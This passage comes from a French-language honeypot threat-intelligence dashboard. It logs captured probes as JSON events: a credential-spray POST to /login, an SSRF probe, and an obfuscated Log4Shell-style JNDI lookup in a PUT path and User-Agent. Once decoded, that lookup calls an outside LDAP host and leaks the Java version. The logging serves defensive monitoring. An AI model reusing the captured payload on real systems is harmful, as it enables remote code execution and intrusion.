"request_line": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${",
"payload_snippet": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:",
"evidence": {
"method": "PUT",
"path": "\/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${at:s",
"user_agent": "${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:-:}${e:2:rc:-l}${6:-d}${ja:-a}${3s9:8:mnvu:-p}${s2y:-:}${y:j65:a:-\/}${lwu:s:-\/}${z8v:1:-U}${6:-A}${va:s7:-l}${w:-0}${sgb1:3w:6h0w:-c}${plz:--}${${ig:gvl:mf:-s}${6k:q3:zv:-y}${5:e:-s}${w0:2tn:-\u2026",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y}${as:-s}${k2x:2nw9:-:}${vzt:-j}${2ulr:fwl:-a}${a:-v}${v:-a}${r2ix:xj:ksq1:-.}${mi:-v}${2kx:kyl:iv:-e}${tz:-r}${6:59:i0:-s}${1w:yz:-i}${ro8l:ea:-o}${5:7u:ry:-n}}${9sqz:36ih:-.}${dx3:m:a:-1}${3o:-b}${1g:-0}${9oj:lz:edz:-d}${kbd5:gmy1:-c}${ab:bdij:4ahe:-e}${",
"request_sample": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:zu:-l}${p1g:-0}${21:-c}${jtz:a:--}${${1di:-s}${na:5:ud:-y",
"payload_snippet": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "4e16ca58f1b1fb0f20504dde76910c5b40153933",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:\u2026",
"request_line": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:\u2026",
"http_user_agent": "${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:-:}${e:2:rc:-l}${6:-d}${ja:-a}${3s9:8:mnvu:-p}${s2y:-:}$\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:",
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x\u2026",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 62\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 62,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 62,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:\u2026",
"request_line": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:mls:-:}${7vfx:e7in:m9:-\/}${zei:0wc:3ql:-\/}${mk3:k4:-P}${sq:0v:-A}${xz3:\u2026",
"http_user_agent": "${${sa:x:-j}${em:7:gql3:-n}${j:iw86:0gwn:-d}${e:-i}${es:t4y:xs:-:}${e:2:rc:-l}${6:-d}${ja:-a}${3s9:8:mnvu:-p}${s2y:-:}$\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x\u2026",
"evidence_snippet": "PUT \/${${og:-j}${vy:i9:e8t:-n}${ma67:iate:-d}${y:3x:-i}${z97:bkzf:xi:-:}${a98p:-l}${uie:r:-d}${nk:njmr:y:-a}${vpe5:5ad:-p}${0:p:",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 19,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dangerous_method",
"http_header_x-forwarded-for",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:28 UTC
TCP
3000 · HTTP
Spray credentials
bruteforce credential spray · via HTTP:3000 · (sonde / probe) · → /login
Élevée
Élevé · 70
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
T1078
TA0007
TA0001
Protocole
POST /login UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950326:rce-0
950327:rce-0
950470:nosqli-3
950471:nosqli-3
Cible HTTP
POST
/login
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
3000
Chemin / cible
/login
Pourquoi cette classification : Type « bruteforce_credential_spray » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1078
Beh Cred Stuff
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 921130 duplicate CL
SSRF Any-address SSRF
Ligne de requête
POST /login HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
POST /login HTTP/1.1
Host: 62.3.50.33:3000
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi
Requête brute (extrait)
POST /login HTTP/1.1 Host: 62.3.50.33:3000 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Content-Length: 2893 Content-Type: application/x-www-form-urlencod
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 1,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "c42c80aa06113268fddf90dfdc871fb7318ff5cf",
"http_referer_hash": null,
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 3155,
"payload_entropy": 4.563792255953139,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.3,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "4eec2a6e404c7674c4bbaba4f6cd58eb67885d26",
"event_fingerprint": "be22a7c9c4031507ab1bb9ac595347fde6ee290f",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 121,
"precision_signals": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"kb_rule_ids": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"matched_patterns": [
"pat-0842",
"pat-0324"
],
"matched_pattern_names": [
"CRS 921130 duplicate CL",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0842",
"pat-0324"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "credential_stuffing",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "54301c44282192ac1d62cf69e4d5127a",
"path_pattern_hash": "7e93fba0bc7adda858a2500090e639e4"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"payload_preview": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2893\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"evidence": {
"method": "POST",
"path": "\/login",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "POST \/login HTTP\/1.1",
"request_sample": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nContent-Length: 2893\r\nContent-Type: application\/x-www-form-urlencod",
"payload_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre_techniques": [
"T1078",
"T1110"
],
"mitre": "T1078",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3f63ef05b1299cc0046811249652d91ca99bc170",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab bruteforce_credential_spray \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1078 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (3 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1078",
"INT-beh-cred-stuff"
],
"tags_summary_labels_fr": [
"MITRE-T1078",
"Beh Cred Stuff"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1078",
"mitre_technique": "T1078",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "POST",
"http_path": "\/login",
"request_line": "POST \/login HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "bruteforce credential spray \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/login",
"evidence_snippet": "POST \/login HTTP\/1.1\r\nHost: 62.3.50.33:3000\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKi",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 3,
"multi_protocol_sample": [
"http",
"node-http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 17,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:28 UTC
TCP
3128 · HTTP
SSRF interne
ssrf internal · via HTTP:3128 · (tentative d'exploit)
Élevée
Moyen · 56
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Investiguer
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3128
Chemin / cible
/
Pourquoi cette classification : Type « ssrf_internal » (signaux protocolaires) · confiance 54%
Confiance classification
72%
Corrélation +18
Risque capteur
Moyen
· 56
Confiance : Confiance 54 % — Motif catalogue confirmé · 3 tag(s) WAF
Protocole émulé
1 Signaux
CRS-920350
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:3128 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 3,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "aeee5f363fd009c4189d5b30fa8b39434744cf71",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 216,
"payload_entropy": 5.395175376767649,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3128,
"risk_waf": 72,
"risk_classification": 80,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 5.9,
"risk_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 56,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "fd26819072250dcb8b4055072de225d2cf030e2f",
"event_fingerprint": "b44d6a5705c872a60d428b36f768df94eca10fde",
"classification_reason": "Type \u00ab ssrf_internal \u00bb (signaux protocolaires) \u00b7 confiance 54%",
"confidence": 0.72,
"classification_confidence": 0.72,
"precision_score": 64,
"precision_signals": [
"CRS-920350"
],
"kb_rule_ids": [
"CRS-920350"
],
"matched_patterns": [
"pat-0324"
],
"matched_pattern_names": [
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 80,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 56,
"correlation_boost": 18
},
"named_classification_skipped": false,
"classification_parent": "ssrf_attack",
"service_name": "http",
"risk_confidence_factor": 54,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "639c33ac5ec1bd8bace55ea86d4ea8c4",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 3128,
"service": "http",
"service_name": "http",
"risk_score": 56
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:3128\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\n\r\n",
